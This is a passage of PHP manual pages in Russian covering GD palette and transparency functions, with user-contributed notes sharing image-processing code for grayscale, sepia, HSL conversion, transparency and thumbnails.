        $grayscale = ($r*.3 + $g*.59 +$b*.11) / 0xFF;

        $pos = $l*$grayscale;

        $perc = $pos-floor($pos);

        $tbase = str_replace("#", '', $palette[$pos]);
        $baseR = hexdec(substr($tbase,0,2));
        $baseG = hexdec(substr($tbase,2,2));
        $baseB = hexdec(substr($tbase,4,2));

        $tmix = str_replace("#", '', $palette[$pos+1]);
        $mixR = hexdec(substr($tmix,0,2));
        $mixG = hexdec(substr($tmix,2,2));
        $mixB = hexdec(substr($tmix,4,2));

        $resR = $baseR+($mixR-$baseR)*$perc;
        $resG = $baseG+($mixG-$baseG)*$perc;
        $resB = $baseB+($mixB-$baseB)*$perc;

        imagecolorset($imgdata, $i, $resR, $resG, $resB);
    }
}
?>
heavyraptor2 at hotmail dot com 20-Feb-2008 01:08
I've been looking for a simple function which "colorizes" an image, without any success ... it looks like a lot of people mean something different with "colorizing" an image, because actually colorzing means multiplying the old color's grayscale with the new color. So a white pixel would become 100% of the colorize-to-color and a black pixel would stay black (I know I can't explain well ... I hope you understood, otherwise take a look at the example below the functions' code).

<?php
function image_colorize(&$img,$rgb) {
  imageTrueColorToPalette($img,true,256);
  $numColors = imageColorsTotal($img);

  for ($x = 0; $x < $numColors; $x++) {
    list($r,$g,$b) = array_values(imageColorsForIndex($img,$x));

    // calculate grayscale in percent
    $grayscale = ($r + $g + $b) / 3 / 0xff;

    imageColorSet($img,$x,
      $grayscale * $rgb[0],
      $grayscale * $rgb[1],
      $grayscale * $rgb[2]
    );
  }

  return true;
}
?>

Example of usage:
<?php
$color = array(0xff,0xaa,0x2a); // color to convert to
$url = 'http://sundog.net/images/uploads/1_google_logo.jpg';
$img = imageCreateFromJpeg($url);

image_colorize($img,$color);

header('Content-type: image/gif');
imageGif($img);
exit;
?>

Enjoy
admin at phpgfx dot com 25-Aug-2007 11:37
Here is a function to turn an image into pure black and white

<?php

function imagepurebw( $img, $amount = 383 ) {
    $total = imagecolorstotal( $img );
    for ( $i = 0; $i < $total; $i++ ) {
        $index = imagecolorsforindex( $img, $i );
        array_pop( $index );
        $color = ( array_sum( $index ) > $amount ) ? 255 : 0;
        imagecolorset( $img, $i, $color, $color, $color );
    }
}

?>
moxleystratton.com 04-Oct-2006 03:59
If you want to convert a Color image to Grayscale without creating a blotchy image, use this color calculation:
<?php
function imagetograyscale($im)
{
    if (imageistruecolor($im)) {
        imagetruecolortopalette($im, false, 256);
    }

    for ($c = 0; $c < imagecolorstotal($im); $c++) {
        $col = imagecolorsforindex($im, $c);
        $gray = round(0.299 * $col['red'] + 0.587 * $col['green'] + 0.114 * $col['blue']);
        imagecolorset($im, $c, $gray, $gray, $gray);
    }
}
?>
dade dot c at email dot it 02-Oct-2004 01:47
this is helpful if you would like to implement a color theme system in your website... try it out
Davide Candiloro Italy

function colorize ($pngpath, $r, $g, $b)
/*
REQUIRES: $pngpath to be a valid path of a greyscale PNG-8 image with 64 colors palette
          $r, $g, $b to be integers in the range 0..255
EFFECTS: returns the png image colorized with the color represented by $r, $g, $b.
*/
{
    header("Content-type: image/png");
    $im = imagecreatefrompng("images/table.png");

    imagetruecolortopalette($im, FALSE, 256);

      for ($c = 0; $c < 64; $c++){ /*64 is the number of colors in the PNG-8 palette*/
        $col = imagecolorsforindex($im, $c);
        imagecolorset ( $im, $c, $r*$col['red']/256, $g*$col['green']/256, $b*$col['blue']/256); /*replaces original greyscale palette with a colorized one*/
     }

    imagepng($im);
    imagedestroy($im);
}
m4551 at abasoft dot it 23-Apr-2004 09:19
here's a function to greyscale an image even from a truecolor source (jpeg or png).

slightly poor quality, but very fast...

function imagegreyscale(&$img, $dither=1) {
    if (!($t = imagecolorstotal($img))) {
        $t = 256;
        imagetruecolortopalette($img, $dither, $t);
    }
    for ($c = 0; $c < $t; $c++) {
        $col = imagecolorsforindex($img, $c);
        $min = min($col['red'],$col['green'],$col['blue']);
        $max = max($col['red'],$col['green'],$col['blue']);
        $i = ($max+$min)/2;
        imagecolorset($img, $c, $i, $i, $i);
    }
}
info at devking dot com 08-Aug-2002 02:20
here's a simple function to greyscale an image...

function imagecolorgrey( &$img ) {
 for( $i=0; $i<imagecolorstotal( $img ); $i++ ) {
  $c = ImageColorsForIndex( $img, $i );
  $t = ($c["red"]+$c["green"]+$c["blue"])/3;
  imagecolorset( $img, $i, $t, $t, $t );
 }
}
olivier at moostik dot net 11-Jul-2001 05:49
This function change colors of an image with ranges 0>100 for each primary color:

int ImageSelectiveColor (int im, int red, int green, int blue)

im is image pointer
red, green and blue are ranges 0->100

function ImageSelectiveColor($im,$red,$green,$blue)
 {
  for($i=0;$i<imagecolorstotal($im);$i++)
   {
    $col=ImageColorsForIndex($im,$i);
    $red_set=$red/100*$col['red'];
    $green_set=$green/100*$col['green'];
    $blue_set=$blue/100*$col['blue'];
    if($red_set>255)$red_set=255;
    if($green_set>255)$green_set=255;
    if($blue_set>255)$blue_set=255;
    imagecolorset($im,$i,$red_set,$green_set,$blue_set);

   }
  return $im;

 }


Получение цветов, соответствующих индексу

  • « imagecolorset
  • imagecolorstotal »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получение цветов, соответствующих индексу

imagecolorsforindex

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorsforindex — Получение цветов, соответствующих индексу

Описание

imagecolorsforindex(GdImage $image, int $color): array

Получение цветов, соответствующих заданному индексу.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

color

Индекс цвета.

Возвращаемые значения

Возвращает ассоциативный массив с красным, зелёным, синим и альфа ключами, содержащий соответствующие значения для заданного индекса цвета.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).
8.0.0 | Функция imagecolorsforindex() теперь выбрасывает исключение ValueError, если параметр color вне допустимого диапазона; ранее вместо этого возвращалось значение false.

Примеры

Пример #1 Пример использования imagecolorsforindex()

<?php

// открываем изображение
$im = imagecreatefrompng('nexen.png');

// получаем цвет
$start_x = 40;
$start_y = 50;
$color_index = imagecolorat($im, $start_x, $start_y);

// делаем его удобочитаемым
$color_tran = imagecolorsforindex($im, $color_index);

// что здесь ?
print_r($color_tran);

?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
   [red] => 226
   [green] => 222
   [blue] => 252
   [alpha] => 0
)

Смотрите также

  • imagecolorat() - Получение индекса цвета пиксела
  • imagecolorexact() - Получение индекса заданного цвета

User Contributed Notes

hofstadler dot andi at gmx dot at 07-Oct-2008 12:36
I have optimized the rgb2hsl function from slepichev a bit, so that it is a bit shorter and hopefully a bit faster:

<?php
/**
 * Convert RGB colors array into HSL array
 *
 * @param array $ RGB colors set, each color component with range 0 to 255
 * @return array HSL set, each color component with range 0 to 1
 */
function rgb2hsl($rgb){
    $clrR = ($rgb[0]);
    $clrG = ($rgb[1]);
    $clrB = ($rgb[2]);

    $clrMin = min($clrR, $clrG, $clrB);
    $clrMax = max($clrR, $clrG, $clrB);
    $deltaMax = $clrMax - $clrMin;

    $L = ($clrMax + $clrMin) / 510;

    if (0 == $deltaMax){
        $H = 0;
        $S = 0;
    }
    else{
        if (0.5 > $L){
            $S = $deltaMax / ($clrMax + $clrMin);
        }
        else{
            $S = $deltaMax / (510 - $clrMax - $clrMin);
        }

        if ($clrMax == $clrR) {
            $H = ($clrG - $clrB) / (6.0 * $deltaMax);
        }
        else if ($clrMax == $clrG) {
            $H = 1/3 + ($clrB - $clrR) / (6.0 * $deltaMax);
        }
        else {
            $H = 2 / 3 + ($clrR - $clrG) / (6.0 * $deltaMax);
        }

        if (0 > $H) $H += 1;
        if (1 < $H) $H -= 1;
    }
    return array($H, $S,$L);
}
?>
matrebatre 07-Aug-2008 11:11
Be aware that

<?php
$rgba     = imagecolorat($image, $x, $y);
$r = ($rgba >> 16) & 0xFF;
$g = ($rgba >> 8) & 0xFF;
$b = $rgba & 0xFF;
$a     = ($rgba & 0x7F000000) >> 24;
?>

will only work for truecolor images. With eg GIF images, this will have strange results. For GIF images, you should always use imagecolorsforindex().
derek at idreams dot co dot uk 30-Nov-2007 12:45
The earlier microsoft sepia example seemed to have a factor in which made it pinky... here is a modified example which uses just the Microsoft sepia (as per the wiki sepia entry)

<?
function imagetosepia(&$img) {
  if (!($t = imagecolorstotal($img))) {
    $t = 256;
    imagetruecolortopalette($img, true, $t);
  }
  $total = imagecolorstotal( $img );
  for ( $i = 0; $i < $total; $i++ ) {
    $index = imagecolorsforindex( $img, $i );
    $red = ( $index["red"] * 0.393 + $index["green"] * 0.769 + $index["blue"] * 0.189 );
    $green = ( $index["red"] * 0.349 + $index["green"] * 0.686 + $index["blue"] * 0.168 );
    $blue = ( $index["red"] * 0.272 + $index["green"] * 0.534 + $index["blue"] * 0.131 );
    if ($red > 255) { $red = 255; }
    if ($green > 255) { $green = 255; }
    if ($blue > 255) { $blue = 255; }
    imagecolorset( $img, $i, $red, $green, $blue );
  }
}
?>
joe dot scylla at gmail dot com 28-Nov-2007 06:35
While it's quite easy and intuitive to get the alpha transparency of a pixel with:

<?php
$rgba     = imagecolorsforindex($image, imagecolorat($image, $x, $y));
$alpha     = $rgba["alpha"];
?>

you should use the return value of the command imagecolorat to get the alpha transparency with the code below because it's much faster and will have a major impact if you process every pixel of an image:

<?php
$rgba     = imagecolorat($image, $x, $y);
$alpha     = ($rgba & 0x7F000000) >> 24;
?>
tim at leethost dot com 09-Sep-2007 10:01
Here's a better grayscale, sepia, and general tinting function.  This function is better because:

1) Works with true color images (the other sepia code didn't).
2) Provides a more gooder grayscale conversion (yes, I said "more gooder").  The other grayscale code used imagetruecolortopalette, which just doesn't work well for grayscale conversion.
3) The other sepia code was really colorful, a little too much for my taste.  This function allows you to optionally set the tinting of the grayscale to anything you wish.
4) Single function for grayscale, sepia, and any other tinting you can dream up.

Here's some examples:

imagegrayscaletint ($img);  // Grayscale, no tinting
imagegrayscaletint ($img,304,242,209);  // What I use for sepia
imagegrayscaletint ($img,0,0,255);  // A berry blue image

The RGB values for tinting are normally from 0 to 255.  But, you can use values larger than 255 to lighten and "burn" the image.  The sepia example above does this a little, the below example provides a better example of lightening the image and burning the light areas out a little:

imagegrayscaletint ($img,400,400,400);  // Lighten image
imagegrayscaletint ($img,127,127,127);  // Darken image

<?
function imagegrayscaletint (&$img, $tint_r = 255, $tint_g = 255, $tint_b = 255) {
  $width = imagesx($img); $height = imagesy($img);
  $dest = imagecreate ($width, $height);
  for ($i=0; $i<256; $i++) imagecolorallocate ($dest, $i, $i, $i);
  imagecopyresized ($dest, $img, 0, 0, 0, 0, $width, $height, $width, $height);
  for ($i = 0; $i < 256; $i++) imagecolorset ($dest, $i, min($i * abs($tint_r) / 255, 255), min($i * abs($tint_g) / 255, 255), min($i * abs($tint_b) / 255, 255));
  $img = imagecreate ($width, $height);
  imagecopy ($img, $dest, 0, 0, 0, 0, $width, $height);
  imagedestroy ($dest);
}
?>
slepichev at yahoo dot com 06-Sep-2007 03:50
If you would like to change the intensity or lightness level of a specific color, you will need to convert the color format from RGB to HSL.
following function convert RGB array(red,green,blue) to HSL array(hue, saturation, lightness)
<?php
/**
 * Convert RGB colors array into HSL array
 *
 * @param array $ RGB colors set
 * @return array HSL set
 */
 function rgb2hsl($rgb){

     $clrR = ($rgb[0] / 255);
     $clrG = ($rgb[1] / 255);
     $clrB = ($rgb[2] / 255);

     $clrMin = min($clrR, $clrG, $clrB);
     $clrMax = max($clrR, $clrG, $clrB);
     $deltaMax = $clrMax - $clrMin;

     $L = ($clrMax + $clrMin) / 2;

     if (0 == $deltaMax){
         $H = 0;
         $S = 0;
         }
    else{
         if (0.5 > $L){
             $S = $deltaMax / ($clrMax + $clrMin);
             }
        else{
             $S = $deltaMax / (2 - $clrMax - $clrMin);
             }
         $deltaR = ((($clrMax - $clrR) / 6) + ($deltaMax / 2)) / $deltaMax;
         $deltaG = ((($clrMax - $clrG) / 6) + ($deltaMax / 2)) / $deltaMax;
         $deltaB = ((($clrMax - $clrB) / 6) + ($deltaMax / 2)) / $deltaMax;
         if ($clrR == $clrMax){
             $H = $deltaB - $deltaG;
             }
        else if ($clrG == $clrMax){
             $H = (1 / 3) + $deltaR - $deltaB;
             }
        else if ($clrB == $clrMax){
             $H = (2 / 3) + $deltaG - $deltaR;
             }
         if (0 > $H) $H += 1;
         if (1 < $H) $H -= 1;
         }
     return array($H, $S, $L);
     }
?>
admin at phpgfx dot com 26-Aug-2007 09:54
this is a sepia filter using microsoft's definition

<?php

function imagesepia( $img ) {
    $total = imagecolorstotal( $img );
    for ( $i = 0; $i < $total; $i++ ) {
        $index = imagecolorsforindex( $img, $i );
        $red = ( $index["red"] * 0.393 + $index["green"] * 0.769 + $index["blue"] * 0.189 ) / 1.351;
        $green = ( $index["red"] * 0.349 + $index["green"] * 0.686 + $index["blue"] * 0.168 ) / 1.203;
        $blue = ( $index["red"] * 0.272 + $index["green"] * 0.534 + $index["blue"] * 0.131 ) / 2.140;
        imagecolorset( $img, $i, $red, $green, $blue );
    }
}

?>
adspeed.com 23-Aug-2005 04:05
To correct m4551 at abasoft dot it example:

ImageTrueColorToPalette($im,1,$t);

might give less colors than $t, so the for loop should call "$i<ImageColorsTotal($im)" instead of "$i<$t" just to be sure, or you'll get the warning: Color index [0-9] out of range
strozek(a)deas()harvard()edu 25-Jun-2004 01:32
Regarding m4551's method of conversion -- the actual CCIR-approved RGB-to-grayscale conversion is as follows:

grayscale component = 0.2125*R + 0.7154*G + 0.0721*B

(cf. CCIR Recommendation 709 for modern monitors)
m4551 at abasoft dot it 23-Apr-2004 09:23
here's a function to greyscale an image even from a truecolor source (jpeg or png).

slightly poor quality, but very fast...

function imagegreyscale(&$img, $dither=1) {
    if (!($t = imagecolorstotal($img))) {
        $t = 256;
        imagetruecolortopalette($img, $dither, $t);
    }
    for ($c = 0; $c < $t; $c++) {
        $col = imagecolorsforindex($img, $c);
        $min = min($col['red'],$col['green'],$col['blue']);
        $max = max($col['red'],$col['green'],$col['blue']);
        $i = ($max+$min)/2;
        imagecolorset($img, $c, $i, $i, $i);
    }
}


Определение количества цветов в палитре изображения

  • « imagecolorsforindex
  • imagecolortransparent »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Определение количества цветов в палитре изображения

imagecolorstotal

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorstotal — Определение количества цветов в палитре изображения

Описание

imagecolorstotal(GdImage $image): int

Возвращает количество цветов в палитре изображения.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

Возвращаемые значения

Возвращает количество цветов в палитре изображения либо 0 для truecolor-изображений.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Получение количества цветов в изображении, используя imagecolorstotal()

<?php
// Создание изображения
$im = imagecreatefromgif('php.gif');

echo 'Всего цветов в изображении: ' . imagecolorstotal($im);

// Освобождение памяти
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Всего цветов в изображении: 128

Смотрите также

  • imagecolorat() - Получение индекса цвета пиксела
  • imagecolorsforindex() - Получение цветов, соответствующих индексу
  • imageistruecolor() - Определяет, является ли изображение полноцветным

User Contributed Notes

There are no user contributed notes for this page.


Определяет цвет как прозрачный

  • « imagecolorstotal
  • imageconvolution »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Определяет цвет как прозрачный

imagecolortransparent

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolortransparent — Определяет цвет как прозрачный

Описание

imagecolortransparent(GdImage $image, ?int $color = null): int

Получает или устанавливает прозрачность цвета в заданном изображении image.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

color

Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает идентификатор нового (или текущего, если ничего не изменилось) цвета. Если аргумент color задан как null и в изображении нет прозрачных цветов, функция вернёт -1.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).
8.0.0 | color теперь допускает значение null.

Примеры

Пример #1 Пример использования imagecolortransparent()

<?php
// Создадим изображение размером 55x30
$im = imagecreatetruecolor(55, 30);
$red = imagecolorallocate($im, 255, 0, 0);
$black = imagecolorallocate($im, 0, 0, 0);

// Сделаем фон прозрачным
imagecolortransparent($im, $black);

// Нарисуем красный прямоугольник
imagefilledrectangle($im, 4, 4, 50, 25, $red);

// Сохраним изображение
imagepng($im, './imagecolortransparent.png');
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagecolortransparent()

Примечания

Замечание:

Прозрачность копируется только функцией imagecopymerge() и для truecolor-изображений. В случае использования функции imagecopy() или палитрового изображения значение альфа компонента не копируется.

Замечание:

Прозрачный цвет является свойством изображения, прозрачность не является свойством цвета. Если вы задали цвет как прозрачный, некоторые области изображения этого цвета нарисованные ранее станут прозрачными.

User Contributed Notes

Sebastian Sejzer 12-Dec-2015 05:48
If you are looking for a blank PNG, you don't need to generate it every time. Just define this constant:

define("BLANK_PNG",     "iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM/rhtAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m".
                        "dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAADqSURBVHjaYvz//z/DYAYAAcTEMMgBQAANegcCBNCg".
                        "dyBAAA16BwIE0KB3IEAADXoHAgTQoHcgQAANegcCBNCgdyBAAA16BwIE0KB3IEAADXoHAgTQoHcgQAAN".
                        "egcCBNCgdyBAAA16BwIE0KB3IEAADXoHAgTQoHcgQAANegcCBNCgdyBAAA16BwIE0KB3IEAADXoHAgTQ".
                        "oHcgQAANegcCBNCgdyBAAA16BwIE0KB3IEAADXoHAgTQoHcgQAANegcCBNCgdyBAAA16BwIE0KB3IEAA".
                        "DXoHAgTQoHcgQAANegcCBNCgdyBAgAEAMpcDTTQWJVEAAAAASUVORK5CYII=");
romanenko.alex.v at gmail.com 02-Oct-2014 08:02
This function has a very strange behaviour with GD version > 2. It returns count of colors instead of -1 (as noted) if cannot find transparent color. Be carefull!
john at jbwalker dot com 23-Jan-2012 08:42
A transparent background with text doesn't seem to work very well because of the antialiasing . But I tried the following kluge and it turned out very well:

<?php
   $im = imagecreatetruecolor(100,20);
   $almostblack = imagecolorallocate($im,254,254,254);
   imagefill($im,0,0,$almostblack);
   $black = imagecolorallocate($im,0,0,0);
   imagecolortransparent($im,$almostblack);
   //... set x and y..
   imagettftext($im,8,0,$x,$y,$black,"calibri.ttf",$txt);
?>
email at vladislav dot net 22-Jun-2011 02:42
Pay attention, that some GIF images may not include a transparent color. A good example of forced transparency in resized GIF image was given by markglibres at yahoo dot com 29-Mar-2009 02:48. But sometimes the transparent color in GIF images can be not set. The problem is, that the color you force to be transparent can be used in the original GIF as opaque and you will loose that color in resized image. The solution is not to use some default transparent color and to leave the resized image without transparent color (the same as original GIF). I used (nearly) the following code to make resized GIF images trnsparent  only when the transparency is needed:

<?php
/* ... */

$img = ImageCreateFromGIF($f); /* create image from existing GIF: original image file name $f you may take from where you need */
$transparent_index = ImageColorTransparent($img); /* gives the index of current transparent color or -1 */
if($transparent_index!=(-1)) $transparent_color = ImageColorsForIndex($img,$transparent_index);

/* ... */

$img_resized = ImageCreateTrueColor( $nw, $nh ); /* (the new width $nw and height $nh must be defined before) */
if(!empty($transparent_color)) /* simple check to find wether transparent color was set or not */
{
    $transparent_new = ImageColorAllocate( $img_resized, $transparent_color['red'], $transparent_color['green'], $transparent_color['blue'] );
    $transparent_new_index = ImageColorTransparent( $img_resized, $transparent_new );
    ImageFill( $img_resized, 0,0, $transparent_new_index ); /* don't forget to fill the new image with the transparent color */
}
list($w,$h) = GetImageSize($f); /* defines the original width $w and height $h */
if( ImageCopyResized( $img_resized, $img, 0,0, 0,0, $nw,$nh, $w,$h ) ) /* resized copying and replacing the original image */
{
    ImageDestroy($img);
    $img = $img_resized;
}

/* ... */

header('Content-Type: image/gif');
ImageGIF($img);
ImageDestroy($img);
?>

P.S.
If there some errors, I hope you could understood the idea.
admin at fastproxyservers dot org 30-Sep-2010 09:00
I would like to share with others how to make PNG image transparent. I have tried almost all examples described on that page but none of them work for me. Finally I found the solution, but there is a bit cheating :) but who cares if it works?

So when I tried to allocate white (as an example) color as a transparent, it worked randomly (lets say 1 in 10 examples). That in turn pushed me to the idea that the problem is that white color is already exist in color palette. So if I try to add another white color with DIFFERENT index as a transparent, that will cause error.

So I found the solution, instead of adding new index, I searched for the white color's index in the color palette and made it defined as transparent :) The best idea is to use not a white but left bottom corner as transparent color (I guess that s standard for some other software languages).

<?php
$index = imagecolorexact($this->image, 255, 255, 255);
imagecolortransparent($this->image, $index);
?>

All you need is to add that two lines before outputting your result.
ajamal 22-May-2009 06:06
This might be of importance to newbies...If you are trying to create GIF's with transparencies, stick to the 216 colour pallet for all colours on the image... or transparencies wont work...at the very least yo will get dithering...
markglibres at yahoo dot com 29-Mar-2009 06:48
I've made a very simple script that will retain transparency of images especially when resizing.

NOTE: Transparency is only supported on GIF and PNG files.

Parameters:

$new_image = image resource identifier such as returned by imagecreatetruecolor(). must be passed by reference
$image_source = image resource identifier returned by imagecreatefromjpeg, imagecreatefromgif and imagecreatefrompng. must be passed by reference

<?php
function setTransparency($new_image,$image_source)
    {

            $transparencyIndex = imagecolortransparent($image_source);
            $transparencyColor = array('red' => 255, 'green' => 255, 'blue' => 255);

            if ($transparencyIndex >= 0) {
                $transparencyColor    = imagecolorsforindex($image_source, $transparencyIndex);
            }

            $transparencyIndex    = imagecolorallocate($new_image, $transparencyColor['red'], $transparencyColor['green'], $transparencyColor['blue']);
            imagefill($new_image, 0, 0, $transparencyIndex);
             imagecolortransparent($new_image, $transparencyIndex);

    }
?>

Sample Usage: (resizing)

<?php
$image_source = imagecreatefrompng('test.png');
$new_image = imagecreatetruecolor($width, $height);
setTransparency($new_image,$image_source);
imagecopyresampled($new_image, $image_source, 0, 0, 0, 0, $new_width, $new_height, $old_width, $old_height);
?>
steved at HaHaHa dot com dot au 24-Oct-2008 10:28
How to center your text both vertically and horizontally in a GD image:

<?php
//get box size
$box = imagettfbbox($titlesize, 0, $titlefont, $title);

//Find out the width and height of the text box
$textW = $box[2] - $box[0];
$textH = $box[5] - $box[3];

// Calculate the positions
$positionLeft = ($width - $textW)/2;
$positionTop = (($height - $textH)/2);

// Add some text
if($align=="center"){
imagettftext($pic, size, angle, $positionLeft, $positionTop, colour, font, message);
?>
cca220v 11-Sep-2008 02:47
I found out the hard way that for two png's with alpha transparency to correctly stack you need to explicitly re-enable alpha blending.

$img=imagecreatetruecolor($dx,$dy);
$img1=imagecreatefrompng($png1); //first layer
$img2=imagecreatefrompng($png2); //second layer (smaller image)

imagealphablending($img, false);
$transparent = imagecolorallocatealpha($img, 0, 0, 0, 127);
imagefill($img, 0, 0, $transparent);
imagesavealpha($img,true);
imagealphablending($img, true); //removing this causes the second layer's transparency to go trough the 1st layer erasing it (the image >is< transparent there ... as is the 2nd layer ... but not the 1st so it should not be transparent)

imagecopyresampled($img,$img1,
imagecopyresampled($img,$img2,
yousuf at philipz dot com 01-Apr-2008 11:45
Well 8-bit gif and png files can have multiple transparent colors, so detecting the transparent color by manually looking into the file or using imagecolortransparent and using the detected rgb color as the background color when imagecopy'ing (or other image copying functions) on a true color image will not work. The only means of getting the transparent pixels to appear is to copy the pixel colors one by one to a new true color image. Here's some code i wrote to do this.

$original_image = @imagecreatefromgif( $original_image_file );

$original_image_width = imagesx( $original_image );
$original_image_height = imagesy( $original_image );

if ( !imageistruecolor($original_image) ) {
   # detects if its non-true color image
   if ( imagecolortransparent($original_image) >= 0 ) {
      # detects if any of the color palette has been set to transparent
      $truecolor = imagecreatetruecolor( $original_image_width, $original_image_height );
      for ($x = 0; $x < $original_image_width; $x++) {
         for ($y = 0; $y < $original_image_height; $y++) {
            $color_index = ImageColorAt($original_image, $x, $y);
            if ( !$color_palette[$color_index] ) {
               $rgb = imagecolorsforindex($original_image, $color_index);
               $color_to_set = imagecolorallocate($truecolor, $rgb['red'], $rgb['green'], $rgb['blue']);
               $color_palette[$color_index] = $color_to_set;
            } else {
               $color_to_set = $color_palette[$color_index];
            }
            imagesetpixel($truecolor, $x, $y, $color_to_set);
         }
      }
      imagedestroy($original_image);
      $original_image = $truecolor;
   }
}
kroccamen, gmail 27-Mar-2008 05:56
Sorry, below should be:

<?php
$is_alpha = ord (file_get_contents ($file_path, false, null, 25, 1)) & 4;
?>

much better :)
Both types 4 (greyscale transparent png), and 6 (colour transparent png) have bit 4 set, so there's no need to bitwise twice and there's no need for == as the return value will be 4 or 0, which is easily interpreted as true or false elsewhere in your code.

note: file_get_contents isn't reading the whole file in this instance, just 1 byte on its own and that's it, so you can be assured this is fast and safe.
kroccamen, gmail 25-Mar-2008 04:44
@wesley gunn:
Thank you very, very much for the code to determine if a PNG is 24 or 32-bit :)
Here's an improved version in one line without using a file-handle

<?php
$is_alpha = ((ord (
    file_get_contents ($filename, false, null, 25, 1)
) & 6) & 4) == 4;
?>

Gives true for a PNG with alpha, false otherwise.
This cannot detect 8-bit PNGs with transparency, but you could do that by searching the file contents for the presence of "PLTE" *AND* "tRNS".
tomas at cimax dot com 10-Mar-2008 12:19
On some versions you must set the index number of that color in color pallete rather than the color! So if you allocate color with imagecolorallocate, that this color gets 0 index on color pallete so than you must call: imagecolortransparent ( resource $image , 0 ) to make the image transparent!
fmkaiba at optonline dot net 07-Feb-2008 08:05
This is my 'perfect' (i use that word lightly) thumbnail generation script, switch '$transparency' to true to have it do its best to handle transparency in gifs and pngs. this code is built off of comments and advice of everyone else here, and i do not deserve full credit. So far this handles every error i can throw at it.
<?php
function createthumb($name, $newname, $new_w, $new_h, $border=false, $transparency=true, $base64=false) {
    if(file_exists($newname))
        @unlink($newname);
    if(!file_exists($name))
        return false;
    $arr = split("\.",$name);
    $ext = $arr[count($arr)-1];

    if($ext=="jpeg" || $ext=="jpg"){
        $img = @imagecreatefromjpeg($name);
    } elseif($ext=="png"){
        $img = @imagecreatefrompng($name);
    } elseif($ext=="gif") {
        $img = @imagecreatefromgif($name);
    }
    if(!$img)
        return false;
    $old_x = imageSX($img);
    $old_y = imageSY($img);
    if($old_x < $new_w && $old_y < $new_h) {
        $thumb_w = $old_x;
        $thumb_h = $old_y;
    } elseif ($old_x > $old_y) {
        $thumb_w = $new_w;
        $thumb_h = floor(($old_y*($new_h/$old_x)));
    } elseif ($old_x < $old_y) {
        $thumb_w = floor($old_x*($new_w/$old_y));
        $thumb_h = $new_h;
    } elseif ($old_x == $old_y) {
        $thumb_w = $new_w;
        $thumb_h = $new_h;
    }
    $thumb_w = ($thumb_w<1) ? 1 : $thumb_w;
    $thumb_h = ($thumb_h<1) ? 1 : $thumb_h;
    $new_img = ImageCreateTrueColor($thumb_w, $thumb_h);

    if($transparency) {
        if($ext=="png") {
            imagealphablending($new_img, false);
            $colorTransparent = imagecolorallocatealpha($new_img, 0, 0, 0, 127);
            imagefill($new_img, 0, 0, $colorTransparent);
            imagesavealpha($new_img, true);
        } elseif($ext=="gif") {
            $trnprt_indx = imagecolortransparent($img);
            if ($trnprt_indx >= 0) {
                //its transparent
                $trnprt_color = imagecolorsforindex($img, $trnprt_indx);
                $trnprt_indx = imagecolorallocate($new_img, $trnprt_color['red'], $trnprt_color['green'], $trnprt_color['blue']);
                imagefill($new_img, 0, 0, $trnprt_indx);
                imagecolortransparent($new_img, $trnprt_indx);
            }
        }
    } else {
        Imagefill($new_img, 0, 0, imagecolorallocate($new_img, 255, 255, 255));
    }

    imagecopyresampled($new_img, $img, 0,0,0,0, $thumb_w, $thumb_h, $old_x, $old_y);
    if($border) {
        $black = imagecolorallocate($new_img, 0, 0, 0);
        imagerectangle($new_img,0,0, $thumb_w, $thumb_h, $black);
    }
    if($base64) {
        ob_start();
        imagepng($new_img);
        $img = ob_get_contents();
        ob_end_clean();
        $return = base64_encode($img);
    } else {
        if($ext=="jpeg" || $ext=="jpg"){
            imagejpeg($new_img, $newname);
            $return = true;
        } elseif($ext=="png"){
            imagepng($new_img, $newname);
            $return = true;
        } elseif($ext=="gif") {
            imagegif($new_img, $newname);
            $return = true;
        }
    }
    imagedestroy($new_img);
    imagedestroy($img);
    return $return;
}
//example useage
createthumb("img.gif", "tn_img.gif", 64,64,true, true, false);
?>
wesley dot gunn at email dot it 13-Nov-2007 09:27
a simple way to check png with alpha channel reading IHDR PNG HEADER

$readPng =    fopen    ($argSourceImagePath, "rb");
$readAlp =    fread    ($readPng, 52);
            fclose    ($readPng);

if(substr(bin2hex($readAlp),50,2) == "04" || substr(bin2hex($readAlp),50,2) == "06")
echo("Png has alpha");
Mikasto 15-Aug-2007 04:53
To resize transparent PNG (if image is transparent & ImageColorTransparent() returns -1):
1) create a new image with the new sizes
2) make the new image all transparent
3) turn off the alpha blending for the new image (to keep the alpha channel when copy data)
4) do copyresampled or copyresized into new image

PHP code:
// 1
$im2 = ImageCreateTrueColor($w, $h);
// 2
ImageColorTransparent($im2, ImageColorAllocate($im2, 0, 0, 0));
// 3
ImageAlphaBlending($im2, false);
// 4
ImageCopyResampled($im2, $im, 0, 0, 0, 0, $w, $h, ImageSX($im), ImageSY($im));
erik at vectorsector dot net 13-Jul-2007 09:20
This script creates transparency for a unspecific RBG color for an already created PNG image.  It also includes script of overlay text that does not get ruined in the process.

<?php

header("Content-type: image/png");
$image = imagecreatetruecolor(250, 250);
$string = $_GET['text'];
$im     = imagecreatefrompng("dynIcon.png");
$img = imagecreatetruecolor(16,16);
$orange = imagecolorallocate($im, 220, 210, 60);
